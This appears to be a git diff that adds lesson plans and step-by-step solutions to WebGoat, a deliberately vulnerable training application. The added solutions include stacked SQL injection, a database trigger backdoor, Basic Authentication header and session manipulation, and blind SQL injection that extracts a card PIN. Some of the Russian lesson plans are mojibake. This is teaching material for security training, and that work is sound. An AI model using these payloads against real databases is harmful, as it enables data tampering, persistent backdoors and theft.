diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html
new file mode 100644
index 000000000..e45d57ddf
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/AccessControlMatrix.html
@@ -0,0 +1,16 @@
+
+This lesson creates a challenge that will help the student apply all that they have learned.
+General Goal(s):
+Display the secret message.
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html
new file mode 100644
index 000000000..1fa409480
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html
@@ -0,0 +1,11 @@
+
+
+It is always a good practice to scrub all inputs, especially those
+inputs that will later be used as parameters to OS commands, scripts,
+and database queries. Users should not be able to alter the intent of
+commands that are executed on the server, in many cases as a privileged user.
+
+
General Goal(s):
+For this exercise, you will perform a SQL Injection attack.
+You will also implement code changes in the database to defeat
+these attacks.
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/DOMInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/DOMInjection.html
new file mode 100644
index 000000000..8b4a87564
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/DOMInjection.html
@@ -0,0 +1,23 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/LogSpoofing.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/LogSpoofing.html
new file mode 100644
index 000000000..544b2bf23
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/LogSpoofing.html
@@ -0,0 +1,20 @@
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/TraceXSS.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/TraceXSS.html
new file mode 100644
index 000000000..08168f249
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/TraceXSS.html
@@ -0,0 +1,14 @@
+
+
Название Ńрока: Проведение XST-атак (Cross Site Tracing/Trace-XSS)
+ПопробŃйте подобрать идентификатор рабочей ŃеŃŃии принадлежащей Đ´Ń€ŃĐłĐľĐĽŃ ĐżĐľĐ»ŃŚĐ·ĐľĐ˛Đ°Ń‚ĐµĐ»ŃŽ.
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html
new file mode 100644
index 000000000..be93e40e2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/WelcomeScreeen.html
@@ -0,0 +1,16 @@
+
+
Lesson Plan Title:Welcome
+
+
Concept / Topic To Teach:
+This lesson presents the basics for understanding the transfer of data between the browser and the web application.
+
Standards Addressed:
+
General Goal(s):
+
Specific Objectives:
+
Required Materials:
+
Anticipatory Set (Lead-In):
+
Step-By-Step Procedures:
+
Plan For Independent Practice:
+
Closure (Reflect Anticipatory Set):
+
Assessment Based On Objectives:
+
Extensions (For Gifted Students):
+
Possible Connections To Other Subjects:
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_plans/ru/WsSAXInjection.html b/webgoat-5.4/src/main/webapp/lesson_plans/ru/WsSAXInjection.html
new file mode 100644
index 000000000..cd1dc0bd1
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_plans/ru/WsSAXInjection.html
@@ -0,0 +1,15 @@
+
+
Название Ńрока: Работа Ń SAX-инъекциями в веб-ŃервиŃах
Lesson
+Plan Title: Using an
+Access Control Matrix
+
+
+
+
Concept /
+Topic To Teach:
+
+
+
+
In a
+role-based access control scheme, a role represents a set of access permissions
+and privileges. A user can be assigned one or more roles. A role-based access
+control scheme normally consists of two parts: role permission management and
+role assignment. A broken role-based access control scheme might allow a user
+to perform accesses that are not allowed by his/her assigned roles, or somehow
+allow privilege escalation to an unauthorized role.
+
+
+
+
General
+Goal(s):
+
+
Each user is
+a member of a role that is allowed to access only certain resources. Your goal
+is to explore the access control rules that govern this site. Only the [Admin]
+group should have access to the 'Account Manager' resource.
+
+
+
+
Solution:
+
+
+
+
This exercise
+is straightforward. You need to find a user where you can access a resource
+that you shouldn't be able to access.
+
+
After a few attempts
+you will learn that Larry can access resources of the role Account Manager.
+
+
+
+
+
+
Figure 1 Lesson 9
+
+
+
+
+
+
Figure 2 Lesson 9 Completed
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db
new file mode 100644
index 000000000..b269eb3f5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/Thumbs.db differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml
new file mode 100644
index 000000000..d016d8ce4
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/filelist.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png
new file mode 100644
index 000000000..ebb3f8cb8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg
new file mode 100644
index 000000000..eca131d99
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png
new file mode 100644
index 000000000..5efe24680
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg
new file mode 100644
index 000000000..64245b784
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/AccessControlMatrix_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors.html b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors.html
new file mode 100644
index 000000000..3a999c080
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors.html
@@ -0,0 +1,841 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Create Database Back Door Attacks.
+
+
+
+
Concept /
+Topic To Teach:
+
+
How to Create
+Database Back Door Attacks.
+
+
+
+
How the
+attacks works:
+
+
Databases are
+used usually as a backend for web applications. Also it is used as a media of
+storage. It can also be used as a place to store a malicious activity such as a
+trigger. A trigger is called by the database management system upon the
+execution of another database operation like insert, select, update or delete.
+An attacker for example can create a trigger that would set his email address
+instead of every new user's email address.
+
+
+
+
General
+Goal(s):
+
+
Your
+goal should be to learn how you can exploit a vulnerable query to create a
+trigger.
+You will not be able to actually create one in this lesson because the
+underlying database engine used with WebGoat doesn't support triggers.
+Your login ID is 101.
+
+
+
+
+
+
Figure 1 Database backdoor
+
+
+
+
Solution:
+
+
Enter your user ID 101 to see how the application works.
+
+
+
+
+
+
Figure 2 User ID is 101
+
+
+
+
As you
+probably noticed, the input is not validated so very easy to do SQL Injection.
+To have two SQL queries executed, you need to separate them using a sem-colon.
+For example select * from employees; drop table employees will first select all
+the users from employees and then drop the table employees. Not all databases
+support multiple SQL statements.
+
+
+
+
Here you need
+to update the salary of the employees. This requires an update query like
+update employees set salary=10000.
+
+
+
+
Inject this
+for the user ID: 101; update employee set salary=10000
+
+
+
+
+
+
Figure 3 Update query
+
+
+
+
+
+
Figure 4 Stage 1 completed
+
+
+
+
To create a
+database trigger, you need to inject the following SQL: CREATE TRIGGER
+myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET
+email='john@hackme.com'WHERE userid = NEW.userid
+
+
+
+
+
+
Figure 5 Insert trigger
+
+
+
+
+
+
Figure 6 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml
new file mode 100644
index 000000000..0c8218170
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/filelist.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image001.png
new file mode 100644
index 000000000..5a4d94ac7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image003.png
new file mode 100644
index 000000000..8150275d8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image005.png
new file mode 100644
index 000000000..62ebf88f6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image007.png
new file mode 100644
index 000000000..9960dbc61
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image009.png
new file mode 100644
index 000000000..be39f6ac3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image011.png
new file mode 100644
index 000000000..ef6e16606
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg
new file mode 100644
index 000000000..c25f12992
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg
new file mode 100644
index 000000000..08f893f3d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg
new file mode 100644
index 000000000..08c662842
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg
new file mode 100644
index 000000000..9299a4a2f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image016.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg
new file mode 100644
index 000000000..49760e726
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg
new file mode 100644
index 000000000..735ea196b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BackDoors_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication.html b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication.html
new file mode 100644
index 000000000..5d888cf5f
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication.html
@@ -0,0 +1,933 @@
+
+
+
+
+
+
+
+Basic Authentication
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: Basic
+Authentication
+
+
+
+
Concept /
+Topic To Teach:
+
+
Basic
+Authentication is used to protect server side resources. The web server will send
+a 401 authentication request with the response for the requested resource. The
+client side browser will then prompt the user for a user name and password
+using a browser supplied dialog box. The browser will base64 encode the user
+name and password and send those credentials back to the web server. The web
+server will then validate the credentials and return the requested resource if
+the credentials are correct.
+
+
These
+credentials are automatically resent for each page protected with this
+mechanism without requiring the user to enter their credentials again.
+
+
+
+
General
+Goal(s):
+
+
For this
+lesson, your goal is to understand Basic Authentication and answer the
+questions below.
+
+
+
+
+
+
Figure 1 Lesson 13
+
+
+
+
To learn the
+name of the authentication header you must click “Submit” and intercept the
+request with WebScarab.
+
+
+
+
+
+
Figure 2 Intercepted request
+
+
+
+
The HTTP
+header that contains the Basic Authentication information is called
+"Authorization". This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode
+this by using WebScarab > Tools > Transcoder.
+
+
+
+
+
+
Figure 3 WebScarabs Transcoder
+
+
+
+
Click Base64
+decode.
+
+
+
+
+
+
Figure 4 Decode value
+
+
+
+
These values must
+be used to complete the questions.
+
+
+
+
+
+
Figure 5 Answers
+
+
+
+
+
+
+
+
Figure 6 Part 1 completed
+
+
+
+
For this
+lesson it is very important that you understand how the JSESSIONID cookie is
+used for session management and how the basic authorization header is used for
+authentication.
+
+
+
+
+
+
When WebGoat
+is able to retrieve a valid session you are automatically redirected to the
+lesson you are working on. When there is no valid session, WebGoat will create
+a new JSESSIONID and you will see the first lesson, HTTP Basics.
+
+
+
+
When there is
+no session cookie, WebGoat will first verify if you already authenticated. If
+not, you will get a pop-up window from the browser that requests your user name
+and password (guest/guest). After the user credentials are validated, you will
+access the Start-page of WebGoat and WebGoat will create a new JSESSIONID for
+this session.
+
+
+
+
To access
+WebGoat as the user basic, you need to corrupt the existing JSESSIONID and the
+Authorization header. You can do this in WebScarab. Intercept the request and
+delete a character from the JSESSIONID value and the Authorization header.
+
+
WebGoat will
+require you to authenticate, so you now enter for the user name basic and for
+the password basic. This logs you on as the user basic.
+
+
+
+
Remember our
+JSESSIONID? This JSESSIONID is a non-persistent cookie which is set during our
+first visit. Every request from the browser to WebGoat will have this cookie
+value. Corrupting this value in the previous request will not change the cookie
+value stored in browser memory and that is the reason why the old JSESSIONID
+cookie is sent in every request.
+
+
+
+
+
+
Figure 7 Basic Authentication
+
+
+
+
You clearly
+see that the JSESSIONID is the same like in the previous request, but the
+Authorization header now contains the Base 64 encoded value of basic:basic (you
+can decode this value in WebScarab > Tools > Transcoder).
+
+
+
+
Figure 8 Logged on as user basic
+
+
+
+
+
+
Because of the
+valid JSESSIONID, WebGoat retrieves the authenticated user via the server-side
+session object using getSession().getUser(). To make WebGoat believe that you
+are authenticated as basic, you need to corrupt the JSESSIONID, as shown in the
+screenshot below.
+
+
+
+
+
+
Figure 9 Corrupt JSESSIONID
+
+
+
+
+
+
+
+
Figure 10 Start page for user basic
+
+
+
+
Now you are
+redirected to the WebGoat start page. The JSESSIONID is changed and you lost all
+your green stars because the basic user hasn’t completed any lesson. Go to the
+lesson "Basic Authentication" to complete this lesson.
+
+
+
+
+
+
Figure 11 Lesson 13 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml
new file mode 100644
index 000000000..7f6641efb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/filelist.xml
@@ -0,0 +1,30 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png
new file mode 100644
index 000000000..58cb8db49
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png
new file mode 100644
index 000000000..e7380275b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png
new file mode 100644
index 000000000..6984b9e74
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png
new file mode 100644
index 000000000..bebf90cda
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png
new file mode 100644
index 000000000..917746bad
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png
new file mode 100644
index 000000000..05f16f195
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png
new file mode 100644
index 000000000..f66852324
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png
new file mode 100644
index 000000000..d167a7f35
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image015.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png
new file mode 100644
index 000000000..9139ad257
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image017.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png
new file mode 100644
index 000000000..f8604adae
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image019.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png
new file mode 100644
index 000000000..5788c8d43
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image021.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png
new file mode 100644
index 000000000..368d0d456
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image023.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg
new file mode 100644
index 000000000..b1aeffb19
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image025.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg
new file mode 100644
index 000000000..8addcb872
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image026.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg
new file mode 100644
index 000000000..0245a850c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image027.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg
new file mode 100644
index 000000000..9e6b65ff8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image028.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg
new file mode 100644
index 000000000..3586cede5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image029.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg
new file mode 100644
index 000000000..cdc430d9b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image030.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg
new file mode 100644
index 000000000..e9bb7a278
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image031.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg
new file mode 100644
index 000000000..b4e1f851a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image032.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg
new file mode 100644
index 000000000..468293b14
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image033.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg
new file mode 100644
index 000000000..3a463c317
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image034.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg
new file mode 100644
index 000000000..32f9278c2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image035.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg
new file mode 100644
index 000000000..1ab696dcd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/image036.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/BasicAuthentication_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/BlindNumericSqlInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindNumericSqlInjection.html
new file mode 100644
index 000000000..45eb33e58
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/BlindNumericSqlInjection.html
@@ -0,0 +1,46 @@
+
+
+
+
+Solution: Blind Numeric SQL Injection
+
+
+
+
Lesson Plan Title: Blind Numeric SQL Injection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
+
+
+
+
General Goal(s):
+The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
+
+The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.
+
+Put the discovered pin value in the form to pass the lesson.
+
+
+Solution:
+In this lesson, the only output returned by the webpage is whether a given account exists or not. Therefore, we cannot simply request the pin number for this account.
+We can take advantage of the query being used, however. The database query being used is:
+SELECT * FROM user_data WHERE userid=accountNumber;
+If this query returns information for the account, the page will indicate the account exists. However, if the userid doesnt exist, no data is returned and the page says the account is invalid.
+By using the AND function, we can add additional conditions to this query. If the additional condition is true, the result will be a valid account, if not the page will indicate the account is invalid.
+For example, try entering these two commands for the account ID:
+101 AND 1=1 and 101 AND 1=2
+In the first statement, both conditions return true. Account 101 is found and 1=1, so the page indicates the account is valid.
+In the second statement, only the first condition is true. Account 101 is found but 1 does not equal 2, so the page indicates the account is invalid.
+Now, we can use a more complicated command for our second true/false statement. The following statement will tell us if the pin is above or below 10000:
+101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
